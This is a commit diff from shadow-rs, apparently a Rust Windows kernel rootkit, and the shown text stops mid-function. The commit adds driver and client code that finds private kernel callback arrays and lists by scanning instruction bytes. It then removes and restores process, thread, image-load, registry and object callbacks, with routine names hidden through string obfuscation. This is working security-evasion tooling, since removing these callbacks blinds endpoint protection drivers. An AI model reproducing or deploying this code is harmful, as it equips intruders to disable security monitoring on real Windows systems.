mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2026-01-28 19:54:29 +01:00
Adding new features in relation to callbacks and refactoring some other parts of the code
This commit is contained in:
3
client/.gitignore
vendored
3
client/.gitignore
vendored
@@ -1 +1,2 @@
|
||||
/target
|
||||
/target
|
||||
/src/memory.rs
|
||||
@@ -35,13 +35,24 @@ pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) {
|
||||
for i in callback_info.iter() {
|
||||
if i.address > 0 {
|
||||
let name = match String::from_utf16(&i.name) {
|
||||
Ok(name) => name,
|
||||
Ok(name) => name.trim_end_matches('\0').to_string(),
|
||||
Err(err) => {
|
||||
eprintln!("[!] UTF-16 decoding error: {:?}", err);
|
||||
continue;
|
||||
}
|
||||
eprintln!("[!] UTF-16 decoding error: {:?}", err);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
println!("[{}] {:?} {}", i.index, i.address as *mut c_void, name);
|
||||
} else if i.post_operation > 0 || i.pre_operation > 0 {
|
||||
let name = match String::from_utf16(&i.name) {
|
||||
Ok(name) => name.trim_end_matches('\0').to_string(),
|
||||
Err(err) => {
|
||||
eprintln!("[!] UTF-16 decoding error: {:?}", err);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
println!("[{}] {}", i.index, name);
|
||||
println!("\tpre_operation: {:?}", i.pre_operation as *mut c_void);
|
||||
println!("\tpost_operation: {:?}", i.post_operation as *mut c_void);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -73,8 +84,6 @@ pub fn remove_callback(index: usize, ioctl_code: u32, callback: &Callbacks) {
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
println!("[+] Remove Callback: {index}");
|
||||
}
|
||||
|
||||
unsafe {
|
||||
@@ -104,8 +113,6 @@ pub fn restore_callback(index: usize, ioctl_code: u32, callback: &Callbacks) {
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
println!("[+] Restore Callback: {index}");
|
||||
}
|
||||
|
||||
unsafe {
|
||||
|
||||
@@ -92,15 +92,19 @@ pub enum Commands {
|
||||
/// Operations related to Callback.
|
||||
Callback {
|
||||
/// Enumerate callback.
|
||||
#[arg(long)]
|
||||
#[arg(long, short)]
|
||||
list: bool,
|
||||
|
||||
/// Enumerate Removed callback.
|
||||
#[arg(long, short)]
|
||||
enumerate: bool,
|
||||
|
||||
/// Remove callback.
|
||||
#[arg(long)]
|
||||
remove: Option<usize>,
|
||||
|
||||
/// Select callback.
|
||||
#[arg(long, required = true)]
|
||||
#[arg(long, short, required = true)]
|
||||
callback: Callbacks,
|
||||
|
||||
// Restore callback.
|
||||
@@ -279,7 +283,13 @@ pub enum Callbacks {
|
||||
/// Callback for PsSetCreateThreadNotifyRoutine.
|
||||
Thread,
|
||||
/// Callback for PsSetLoadImageNotifyRoutine.
|
||||
LoadImage
|
||||
LoadImage,
|
||||
/// Callback for CmRegisterCallbackEx
|
||||
Registry,
|
||||
/// Callback for ObProcess
|
||||
ObProcess,
|
||||
/// Callback for ObThread
|
||||
ObThread,
|
||||
}
|
||||
|
||||
impl Callbacks {
|
||||
@@ -288,6 +298,9 @@ impl Callbacks {
|
||||
Callbacks::Process => shared::vars::Callbacks::PsSetCreateProcessNotifyRoutine,
|
||||
Callbacks::Thread => shared::vars::Callbacks::PsSetCreateThreadNotifyRoutine,
|
||||
Callbacks::LoadImage => shared::vars::Callbacks::PsSetLoadImageNotifyRoutine,
|
||||
Callbacks::Registry => shared::vars::Callbacks::CmRegisterCallbackEx,
|
||||
Callbacks::ObProcess => shared::vars::Callbacks::ObProcess,
|
||||
Callbacks::ObThread => shared::vars::Callbacks::ObThread,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -173,12 +173,18 @@ fn main() {
|
||||
Commands::Module { pid } => {
|
||||
enumerate_module(IOCTL_ENUMERATE_MODULE, pid);
|
||||
}
|
||||
Commands::Callback { list, remove, restore, callback } => {
|
||||
Commands::Callback { list, enumerate ,remove, restore, callback } => {
|
||||
if *list {
|
||||
println!("[+] Enumerate Callback");
|
||||
enumerate_callback(IOCTL_ENUMERATE_CALLBACK, callback);
|
||||
return;
|
||||
}
|
||||
|
||||
if *enumerate {
|
||||
println!("[+] Enumerate Removed Callback");
|
||||
enumerate_callback(IOCTL_ENUMERATE_REMOVED_CALLBACK, callback);
|
||||
return;
|
||||
}
|
||||
|
||||
match (remove, restore) {
|
||||
(Some(index), None) => {
|
||||
|
||||
3
driver/.gitignore
vendored
3
driver/.gitignore
vendored
@@ -1,2 +1,3 @@
|
||||
/target
|
||||
/src/backup
|
||||
/src/backup
|
||||
/src/memory
|
||||
@@ -1,7 +1,8 @@
|
||||
use shared::vars::Callbacks;
|
||||
use crate::utils;
|
||||
use wdk_sys::ntddk::MmGetSystemRoutineAddress;
|
||||
use crate::{includes::structs::FULL_OBJECT_TYPE, utils};
|
||||
use wdk_sys::{ntddk::MmGetSystemRoutineAddress, PsProcessType, PsThreadType};
|
||||
use obfstr::obfstr;
|
||||
use core::ptr::null_mut;
|
||||
|
||||
/// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine.
|
||||
///
|
||||
@@ -17,36 +18,36 @@ unsafe fn find_ps_create_process() -> Option<*mut u8> {
|
||||
// e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`517a64a8)
|
||||
let instructions = [0xE8];
|
||||
|
||||
if let Some(y) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) {
|
||||
if let Some(y) = function_bytes.windows(instructions.len()).position(|x| x == instructions) {
|
||||
let position = y + 1;
|
||||
let new_offset = function_bytes[position..position + 4]
|
||||
let offset = function_bytes[position..position + 4]
|
||||
.try_into()
|
||||
.map(u32::from_le_bytes)
|
||||
.map(i32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
// e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`517a64a8)
|
||||
let call_address = function_address.cast::<u8>().offset(y as isize);
|
||||
// 4883c428 add rsp,28h
|
||||
let next_address = call_address.cast::<u8>().offset(5);
|
||||
let psp_set_create_process = next_address.offset(new_offset as isize);
|
||||
let psp_set_create_process = next_address.offset(offset as isize);
|
||||
|
||||
let function_bytes = core::slice::from_raw_parts(psp_set_create_process, 0x98);
|
||||
|
||||
// 4c8d2d4f605500 lea r13,[nt!PspCreateProcessNotifyRoutine (fffff802`51cfc560)]
|
||||
let instructions = [0x4C, 0x8D, 0x2D];
|
||||
|
||||
if let Some(x) = function_bytes.windows(instructions.len()).position(|y| *y == instructions) {
|
||||
if let Some(x) = function_bytes.windows(instructions.len()).position(|y| y == instructions) {
|
||||
let position = x + 3;
|
||||
let new_offset = function_bytes[position..position + 4]
|
||||
let offset = function_bytes[position..position + 4]
|
||||
.try_into()
|
||||
.map(u32::from_le_bytes)
|
||||
.map(i32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
// 4c8d2d4f605500 lea r13,[nt!PspCreateProcessNotifyRoutine (fffff802`51cfc560)]
|
||||
let lea_address = psp_set_create_process.cast::<u8>().offset(x as isize);
|
||||
// 488d0cdd00000000 lea rcx,[rbx*8]
|
||||
let next_address = lea_address.offset(7);
|
||||
let psp_set_create_process = next_address.offset(new_offset as isize);
|
||||
let psp_set_create_process = next_address.offset(offset as isize);
|
||||
|
||||
return Some(psp_set_create_process)
|
||||
}
|
||||
@@ -69,18 +70,18 @@ unsafe fn find_ps_create_thread() -> Option<*mut u8> {
|
||||
// 488d0d57d73d00 lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff805`7b4ee160)]
|
||||
let instructions = [0x48, 0x8D, 0x0D];
|
||||
|
||||
if let Some(x) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) {
|
||||
if let Some(x) = function_bytes.windows(instructions.len()).position(|x| x == instructions) {
|
||||
let position = x + 3;
|
||||
let new_offset = function_bytes[position..position + 4]
|
||||
let offset = function_bytes[position..position + 4]
|
||||
.try_into()
|
||||
.map(u32::from_le_bytes)
|
||||
.map(i32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
// 488d0d57d73d00 lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff805`7b4ee160)]
|
||||
let lea_address = function_address.cast::<u8>().offset(x as isize);
|
||||
// 488d2cf9 lea rbp,[rcx+rdi*8]
|
||||
let next_address = lea_address.offset(7);
|
||||
let psp_set_create_thread = next_address.offset(new_offset as isize);
|
||||
let psp_set_create_thread = next_address.offset(offset as isize);
|
||||
|
||||
return Some(psp_set_create_thread);
|
||||
}
|
||||
@@ -102,19 +103,18 @@ unsafe fn find_ps_load_image() -> Option<*mut u8> {
|
||||
// 488d0d67d83d00 lea rcx,[nt!PspLoadImageNotifyRoutine (fffff806`0f0fe360)]
|
||||
let instructions = [0x48, 0x8D, 0x0D];
|
||||
|
||||
if let Some(x) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) {
|
||||
if let Some(x) = function_bytes.windows(instructions.len()).position(|x| x == instructions) {
|
||||
let position = x + 3;
|
||||
let offset = &function_bytes[position..position + 4];
|
||||
let new_offset = function_bytes[position..position + 4]
|
||||
let offset = function_bytes[position..position + 4]
|
||||
.try_into()
|
||||
.map(u32::from_le_bytes)
|
||||
.map(i32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
// 488d0d67d83d00 lea rcx,[nt!PspLoadImageNotifyRoutine (fffff806`0f0fe360)]
|
||||
let lea_address = function_address.cast::<u8>().offset(x as isize);
|
||||
// 488d2cf9 lea rbp,[rcx+rdi*8]
|
||||
let next_address = lea_address.offset(7);
|
||||
let psp_load_image = next_address.offset(new_offset as isize);
|
||||
let psp_load_image = next_address.offset(offset as isize);
|
||||
|
||||
return Some(psp_load_image);
|
||||
}
|
||||
@@ -122,7 +122,129 @@ unsafe fn find_ps_load_image() -> Option<*mut u8> {
|
||||
None
|
||||
}
|
||||
|
||||
/// Finds the type of the callback and calls the function responsible for it
|
||||
/// Finds the address of the `CmRegisterCallbackEx` routine.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise.
|
||||
///
|
||||
unsafe fn find_cm_register_callback() -> Option<(*mut u8, *mut u8, *mut u8)>{
|
||||
let mut name = utils::uni::str_to_unicode(obfstr!("CmRegisterCallbackEx")).to_unicode();
|
||||
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||
let mut callback_list_header = null_mut();
|
||||
let mut callback_count = null_mut();
|
||||
let mut callback_list_lock = null_mut();
|
||||
|
||||
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x50);
|
||||
|
||||
// e8c961e7ff call nt!CmpRegisterCallbackInternal (fffff800`286e2b08)
|
||||
let register_internal_pattern = [0xE8];
|
||||
|
||||
if let Some(x) = function_bytes.windows(register_internal_pattern.len()).position(|y| y == register_internal_pattern) {
|
||||
let position = x + 1;
|
||||
let offset = function_bytes[position..position + 4]
|
||||
.try_into()
|
||||
.map(i32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
// e8c961e7ff call nt!CmpRegisterCallbackInternal (fffff803`210e2b08)
|
||||
let call_address = function_address.cast::<u8>().offset(x as isize);
|
||||
// 4883c438 add rsp,38h
|
||||
let next_address = call_address.offset(5);
|
||||
let register_callback_internal = next_address.offset(offset as isize);
|
||||
|
||||
let function_bytes = core::slice::from_raw_parts(register_callback_internal, 0x108);
|
||||
|
||||
// 488bcb mov rcx,rbx
|
||||
// e83d000000 call nt!CmpInsertCallbackInListByAltitude (fffff800`286e2c0c)
|
||||
let insert_pattern = [0x8B, 0xCB, 0xE8];
|
||||
|
||||
if let Some(x) = function_bytes.windows(insert_pattern.len()).position(|y| y == insert_pattern) {
|
||||
let position = x + 3;
|
||||
let offset = function_bytes[position..position + 4]
|
||||
.try_into()
|
||||
.map(i32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
// e83d000000 call nt!CmpInsertCallbackInListByAltitude (fffff800`286e2c0c)
|
||||
let call_insert_address = register_callback_internal.cast::<u8>().offset((x + 2) as isize);
|
||||
// 488b4c2458 mov rcx,qword ptr [rsp+58h]
|
||||
let next_address = call_insert_address.offset(5);
|
||||
let insert_call_address = next_address.offset(offset as isize);
|
||||
|
||||
let function_bytes = core::slice::from_raw_parts(insert_call_address, 0x200);
|
||||
|
||||
// 488d0d7b585600 lea rcx,[nt!CmpCallbackListLock (fffff803`216484c0)]
|
||||
let cmp_callback_list_lock_pattern = [0x48, 0x8D, 0x0D];
|
||||
// 4c8d3d78585600 lea r15,[nt!CallbackListHead (fffff803`216484d0)]
|
||||
let callback_list_head_pattern = [0x4C, 0x8D, 0x3D];
|
||||
// f0ff05fddd5600 lock inc dword ptr [nt!CmpCallBackCount (fffff803`21650abc)]
|
||||
let cmp_callback_count_pattern = [0xF0, 0xFF, 0x05];
|
||||
|
||||
if let Some(x) = function_bytes.windows(cmp_callback_list_lock_pattern.len()).position(|y| y == cmp_callback_list_lock_pattern) {
|
||||
let position = x + 3;
|
||||
let offset = function_bytes[position..position + 4]
|
||||
.try_into()
|
||||
.map(i32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
let lea_address = insert_call_address.cast::<u8>().offset(x as isize);
|
||||
let next_address = lea_address.offset(7);
|
||||
callback_list_lock = next_address.offset(offset as isize);
|
||||
};
|
||||
|
||||
if let Some(x) = function_bytes.windows(callback_list_head_pattern.len()).position(|y| y == callback_list_head_pattern) {
|
||||
let position = x + 3;
|
||||
let offset = function_bytes[position..position + 4]
|
||||
.try_into()
|
||||
.map(i32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
let lea_address = insert_call_address.cast::<u8>().offset(x as isize);
|
||||
let next_address = lea_address.offset(7);
|
||||
callback_list_header = next_address.offset(offset as isize);
|
||||
};
|
||||
|
||||
if let Some(x) = function_bytes.windows(cmp_callback_count_pattern.len()).position(|y| y == cmp_callback_count_pattern) {
|
||||
let position = x + 3;
|
||||
let offset = function_bytes[position..position + 4]
|
||||
.try_into()
|
||||
.map(i32::from_le_bytes)
|
||||
.expect("Slice length is not 4, cannot convert");
|
||||
|
||||
let lea_address = insert_call_address.cast::<u8>().offset(x as isize);
|
||||
let next_address = lea_address.offset(7);
|
||||
callback_count = next_address.offset(offset as isize);
|
||||
};
|
||||
}
|
||||
|
||||
if !callback_list_header.is_null() && !callback_count.is_null() && !callback_list_lock.is_null() {
|
||||
return Some((callback_list_header, callback_count, callback_list_lock));
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Finds the address of the `ObRegisterCallbacks` routine.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Option<*mut FULL_OBJECT_TYPE>`: Some pointer to the address if found, None otherwise.
|
||||
///
|
||||
pub fn find_ob_register_callback(callback: &Callbacks) -> Option<*mut FULL_OBJECT_TYPE> {
|
||||
match callback {
|
||||
Callbacks::ObProcess => {
|
||||
let object_type = unsafe { (*PsProcessType) as *mut FULL_OBJECT_TYPE };
|
||||
Some(object_type)
|
||||
},
|
||||
Callbacks::ObThread => {
|
||||
let object_type = unsafe { (*PsThreadType) as *mut FULL_OBJECT_TYPE };
|
||||
Some(object_type)
|
||||
},
|
||||
_ => return None
|
||||
}
|
||||
}
|
||||
|
||||
/// Finds the type of the callback and calls the function responsible for it.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `callback`: target callback that will be called.
|
||||
@@ -130,10 +252,20 @@ unsafe fn find_ps_load_image() -> Option<*mut u8> {
|
||||
/// # Returns
|
||||
/// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise.
|
||||
///
|
||||
pub unsafe fn find_callback_address(callback: &Callbacks) -> Option<*mut u8> {
|
||||
pub unsafe fn find_callback_address(callback: &Callbacks) -> Option<CallbackResult> {
|
||||
match callback {
|
||||
Callbacks::PsSetCreateProcessNotifyRoutine => find_ps_create_process(),
|
||||
Callbacks::PsSetCreateThreadNotifyRoutine => find_ps_create_thread(),
|
||||
Callbacks::PsSetLoadImageNotifyRoutine => find_ps_load_image(),
|
||||
Callbacks::PsSetCreateProcessNotifyRoutine => find_ps_create_process().map(CallbackResult::PsCreate),
|
||||
Callbacks::PsSetCreateThreadNotifyRoutine => find_ps_create_thread().map(CallbackResult::PsCreate),
|
||||
Callbacks::PsSetLoadImageNotifyRoutine => find_ps_load_image().map(CallbackResult::PsCreate),
|
||||
Callbacks::CmRegisterCallbackEx => find_cm_register_callback().map(CallbackResult::Registry),
|
||||
Callbacks::ObProcess => find_ob_register_callback(callback).map(CallbackResult::ObRegister),
|
||||
Callbacks::ObThread => find_ob_register_callback(callback).map(CallbackResult::ObRegister),
|
||||
}
|
||||
}
|
||||
|
||||
/// Enum containing return types for each callback.
|
||||
pub enum CallbackResult {
|
||||
PsCreate(*mut u8),
|
||||
Registry((*mut u8, *mut u8, *mut u8)),
|
||||
ObRegister(*mut FULL_OBJECT_TYPE)
|
||||
}
|
||||
@@ -1,23 +1,33 @@
|
||||
use {
|
||||
obfstr::obfstr,
|
||||
crate::{
|
||||
includes::structs::{CallbackRestaure, CallbackRestaureOb, CM_CALLBACK, OBCALLBACK_ENTRY},
|
||||
utils::return_module
|
||||
},
|
||||
alloc::vec::Vec,
|
||||
crate::utils::uni,
|
||||
find_callback::find_callback_address,
|
||||
spin::{Mutex, lazy::Lazy},
|
||||
core::mem::size_of,
|
||||
find_callback::{find_callback_address, CallbackResult},
|
||||
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
|
||||
shared::structs::{CallbackInfoInput, CallbackInfoOutput, CallbackRestaure},
|
||||
wdk_sys::{ntddk::MmGetSystemRoutineAddress, NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL}
|
||||
shared::structs::{CallbackInfoInput, CallbackInfoOutput},
|
||||
spin::{lazy::Lazy, Mutex},
|
||||
wdk_sys::{
|
||||
ntddk::{ExAcquirePushLockExclusiveEx, ExReleasePushLockExclusiveEx},
|
||||
NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL
|
||||
}
|
||||
};
|
||||
|
||||
mod find_callback;
|
||||
|
||||
/// Variable that stores callbacks that have been removed
|
||||
/// Variable that stores callbacks that have been removed.
|
||||
static mut INFO_CALLBACK_RESTAURE: Lazy<Mutex<Vec<CallbackRestaure>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(40)));
|
||||
|
||||
/// Structure representing the Callback.
|
||||
pub struct Callback;
|
||||
/// Variable that stores callbacks registry that have been removed.
|
||||
static mut INFO_CALLBACK_RESTAURE_REGISTRY: Lazy<Mutex<Vec<CallbackRestaure>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(40)));
|
||||
|
||||
impl Callback {
|
||||
/// Variable that stores callbacks Ob that have been removed.
|
||||
static mut INFO_CALLBACK_RESTAURE_OB: Lazy<Mutex<Vec<CallbackRestaureOb>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(40)));
|
||||
|
||||
/// Trait defining common operations for callback lists.
|
||||
pub trait CallbackList {
|
||||
/// Restore a callback from the specified routine.
|
||||
///
|
||||
/// # Parameters
|
||||
@@ -26,27 +36,7 @@ impl Callback {
|
||||
/// # Returns
|
||||
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
||||
///
|
||||
pub unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
|
||||
let mut callback_info = INFO_CALLBACK_RESTAURE.lock();
|
||||
let callback_type = (*target_callback).callback;
|
||||
let index = (*target_callback).index;
|
||||
|
||||
if let Some(index) = callback_info.iter().position(|c| c.callback == callback_type && c.index == index) {
|
||||
let address = match find_callback_address(&(*target_callback).callback) {
|
||||
Some(addr) => addr,
|
||||
None => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
|
||||
let addr = address.offset((callback_info[index].index * 8) as isize);
|
||||
*(addr as *mut u64) = callback_info[index].address;
|
||||
callback_info.remove(index);
|
||||
} else {
|
||||
log::error!("Callback not found for type {:?} at index {}", callback_type, index);
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS;
|
||||
|
||||
/// Removes a callback from the specified routine.
|
||||
///
|
||||
@@ -56,19 +46,73 @@ impl Callback {
|
||||
/// # Returns
|
||||
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
||||
///
|
||||
pub unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
|
||||
unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS;
|
||||
|
||||
/// Searches for a module associated with a callback and updates callback information.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `target_callback`: Pointer to the callback information input.
|
||||
/// - `callback_info`: Pointer to the callback information output.
|
||||
/// - `information`: Pointer to a variable to store information size.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
||||
///
|
||||
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS;
|
||||
|
||||
/// List of callbacks currently removed.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `target_callback`: Pointer to the callback information input.
|
||||
/// - `callback_info`: Pointer to the callback information output.
|
||||
/// - `information`: Pointer to a variable to store information size.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
||||
///
|
||||
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS;
|
||||
}
|
||||
|
||||
/// Structure representing the Callback.
|
||||
pub struct Callback;
|
||||
|
||||
/// Implement a feature for the callback PsSetCreateProcessNotifyRoutine / PsSetCreateThreadNotifyRoutine / PsSetLoadImageNotifyRoutine.
|
||||
impl CallbackList for Callback {
|
||||
unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
|
||||
let mut callback_info = INFO_CALLBACK_RESTAURE.lock();
|
||||
let callback_type = (*target_callback).callback;
|
||||
let index = (*target_callback).index;
|
||||
|
||||
if let Some(index) = callback_info.iter().position(|c| c.callback == callback_type && c.index == index) {
|
||||
let address = match find_callback_address(&(*target_callback).callback) {
|
||||
Some(CallbackResult::PsCreate(addr)) => addr,
|
||||
_ => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
|
||||
let addr = address.offset((callback_info[index].index * 8) as isize);
|
||||
*(addr as *mut u64) = callback_info[index].address;
|
||||
callback_info.remove(index);
|
||||
} else {
|
||||
log::error!("Callback not found for type {:?} at index {}", callback_type, index);
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
|
||||
unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
|
||||
let address = match find_callback_address(&(*target_callback).callback) {
|
||||
Some(addr) => addr,
|
||||
None => return STATUS_UNSUCCESSFUL,
|
||||
Some(CallbackResult::PsCreate(addr)) => addr,
|
||||
_ => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
|
||||
let index = (*target_callback).index as isize;
|
||||
|
||||
let addr = address.offset(index * 8);
|
||||
let callback_restaure = CallbackRestaure {
|
||||
index: (*target_callback).index,
|
||||
callback: (*target_callback).callback,
|
||||
address: *(addr as *mut u64)
|
||||
address: *(addr as *mut u64),
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
let mut callback_info = INFO_CALLBACK_RESTAURE.lock();
|
||||
@@ -81,42 +125,18 @@ impl Callback {
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
|
||||
/// Searches for a module associated with a callback and updates callback information.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `target_callback`: Pointer to the callback information input.
|
||||
/// - `callback_info`: Pointer to the callback information output.
|
||||
/// - `information`: Pointer to a variable to store information size.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
||||
///
|
||||
pub unsafe fn search_module(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
|
||||
unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
|
||||
let address = match find_callback_address(&(*target_callback).callback) {
|
||||
Some(addr) => addr,
|
||||
None => return STATUS_UNSUCCESSFUL,
|
||||
Some(CallbackResult::PsCreate(addr)) => addr,
|
||||
_ => return STATUS_UNSUCCESSFUL,
|
||||
};
|
||||
|
||||
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
|
||||
let func = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
|
||||
let (mut ldr_data, module_count) = match return_module() {
|
||||
Some(result) => result,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
|
||||
if func.is_null() {
|
||||
log::error!("PsLoadedModuleList is null");
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
let mut list_entry = (*func).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
let mut module_count = 0;
|
||||
|
||||
let start_entry = list_entry;
|
||||
while !list_entry.is_null() && list_entry != func {
|
||||
module_count += 1;
|
||||
list_entry = (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
}
|
||||
|
||||
log::info!("Number of loaded modules: {}", module_count);
|
||||
|
||||
list_entry = start_entry;
|
||||
let start_entry = ldr_data;
|
||||
|
||||
for i in 0..64 {
|
||||
let addr = address.cast::<u8>().offset(i * 8);
|
||||
@@ -128,40 +148,518 @@ impl Callback {
|
||||
|
||||
// Iterate over the loaded modules
|
||||
for _ in 0..module_count {
|
||||
let buffer = core::slice::from_raw_parts(
|
||||
(*list_entry).BaseDllName.Buffer,
|
||||
((*list_entry).BaseDllName.Length / 2) as usize,
|
||||
);
|
||||
|
||||
let start_address = (*list_entry).DllBase;
|
||||
let image_size = (*list_entry).SizeOfImage;
|
||||
let start_address = (*ldr_data).DllBase;
|
||||
let image_size = (*ldr_data).SizeOfImage;
|
||||
let end_address = start_address as u64 + image_size as u64;
|
||||
let raw_pointer = *((callback & 0xfffffffffffffff8) as *const u64);
|
||||
|
||||
|
||||
if raw_pointer > start_address as u64 && raw_pointer < end_address {
|
||||
let buffer = core::slice::from_raw_parts(
|
||||
(*ldr_data).BaseDllName.Buffer,
|
||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||
);
|
||||
|
||||
// Module name
|
||||
let name = &mut (*callback_info.offset(i)).name[..buffer.len()];
|
||||
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
|
||||
|
||||
// Module address
|
||||
(*callback_info.offset(i)).address = callback as usize;
|
||||
(*callback_info.offset(i)).address = raw_pointer as usize;
|
||||
|
||||
// Module index
|
||||
(*callback_info.offset(i)).index = i as u8;
|
||||
|
||||
*information += core::mem::size_of::<CallbackInfoOutput>();
|
||||
*information += size_of::<CallbackInfoOutput>();
|
||||
break;
|
||||
}
|
||||
|
||||
// Go to the next module in the list
|
||||
list_entry = (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||
}
|
||||
|
||||
// Reset list_entry for next callback
|
||||
list_entry = start_entry;
|
||||
// Reset ldr_data for next callback
|
||||
ldr_data = start_entry;
|
||||
}
|
||||
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
|
||||
unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
|
||||
let callback_restaure = INFO_CALLBACK_RESTAURE.lock();
|
||||
|
||||
let (mut ldr_data, module_count) = match return_module() {
|
||||
Some(result) => result,
|
||||
None => return STATUS_UNSUCCESSFUL
|
||||
};
|
||||
|
||||
let start_entry = ldr_data;
|
||||
|
||||
for (i, callback) in callback_restaure.iter().enumerate() {
|
||||
for _ in 0..module_count {
|
||||
let start_address = (*ldr_data).DllBase;
|
||||
let image_size = (*ldr_data).SizeOfImage;
|
||||
let end_address = start_address as u64 + image_size as u64;
|
||||
let raw_pointer = *((callback.address & 0xfffffffffffffff8) as *const u64);
|
||||
|
||||
if raw_pointer > start_address as u64 && raw_pointer < end_address {
|
||||
let buffer = core::slice::from_raw_parts(
|
||||
(*ldr_data).BaseDllName.Buffer,
|
||||
((*ldr_data).BaseDllName.Length / 2) as usize,
|
||||
);
|
||||
|
||||
// Module name
|
||||
let name = &mut (*callback_info.offset(i as isize)).name[..buffer.len()];
|
||||
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
|
||||
|
||||
// Module address
|
||||
(*callback_info.offset(i as isize)).address = raw_pointer as usize;
|
||||
|
||||
